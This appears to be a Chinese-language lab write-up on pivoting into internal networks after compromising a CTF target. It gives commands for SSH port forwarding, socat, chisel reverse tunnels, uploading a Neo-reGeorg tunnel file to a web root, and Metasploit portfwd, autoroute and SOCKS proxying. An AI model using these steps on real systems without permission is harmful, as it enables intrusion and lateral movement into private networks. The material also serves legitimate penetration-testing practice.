前言

在内网渗透中经常遇到在需要利用已经拿到权限的机器来进行内网穿透来访问内网中的其他机器。于是本文用于整理和学习自己之前常用的一些方式。

先从8080端口入手,是一个shiro框架,可以用shiroattack直接一把梭拿到权限再做一个反弹shell

所用机器:

VPS,并且在上面安装了msf与搭建了靶场

kali

演示靶机采用

https://github.com/CTF-Archives/Puff-Pastry

8080是开设在外网的shiroWeb框架

在内网的8081开设了thinkphp服务

详细网络拓扑见github项目

反向SSH

如果能拿到ssh登录权限的话

ssh -L target-port:localhost:port1 user@ip

-L参数指定目标机器上需要进行流量转发的端口转发到本机的port1

SOCAT

需要在靶机上存在socat

sudo socat tcp-listen:target-port,reuseaddr,fork tcp:127.0.0.1:port1

target-port:对外开放的端口,可用于代理

port1:需要转发的端口

./socat tcp-listen:10001,reuseaddr,fork tcp:127.0.0.1:10000

当然因为本靶机开在docker中,但是SOCAT似乎不能用于两台远程主机的转发,所以无法利用(大概)

chisel

需要靶机和本机都要存在chisel

在本机

./chisel server -p port1 --reverse          

作为客户端,让靶机作为客户端来连接

./chisel client 服务端ip:port1 R:port2:192.168.100.1:8081

port1:所连接服务端的端口

port2:转发到服务端的端口

将192.168.100.1:8081的流量转发到服务端的port2

所以这里我直接把内网另一台主机的thinkphp服务转发到了VPS的port2端口,kali也就可以直接在浏览器中访问了

Neoreg

先在kali中生成tunnel模板,密码为”pass”

python neoreg.py generate -k pass

然后在templates目录会生成各种后缀的tunnel文件,选用靶机web应用使用的语言并将tunnel文件上传到web目录

但是shiro框架似乎是没有web目录的(?)所以这个靶机用不了

假设是php网站,那么就上传tunnel.php到web目录

然后kali运行

python neoreg.py -k pass -u http://ip/tunnel.php

会转发流量至kali的1080端口,不用VPS也可以实现内网穿透!

MSF

端口转发

portfwd add -l port1 -p port2 -r ip

将本地的port1端口映射到远程主机ip的port2

portfwd add -l 8081 -p 8081 -r 192.168.100.1

即可访问

也是可以直接访问

路由添加

输入”background”将meterpretershell放置后台

use post/multi/manage/autoroute

用于自动添加路由

设置会话号

set SESSION session号
run

就可以自动添加已经拿到的靶机会话(session)的路由

然后

use auxiliary/server/socks_proxy

用于在本机上开启代理,默认端口是1080,socks版本是5

run

就可以开启代理了

然后在kali中使用proxychains使用VPS的代理,在浏览器中访问即可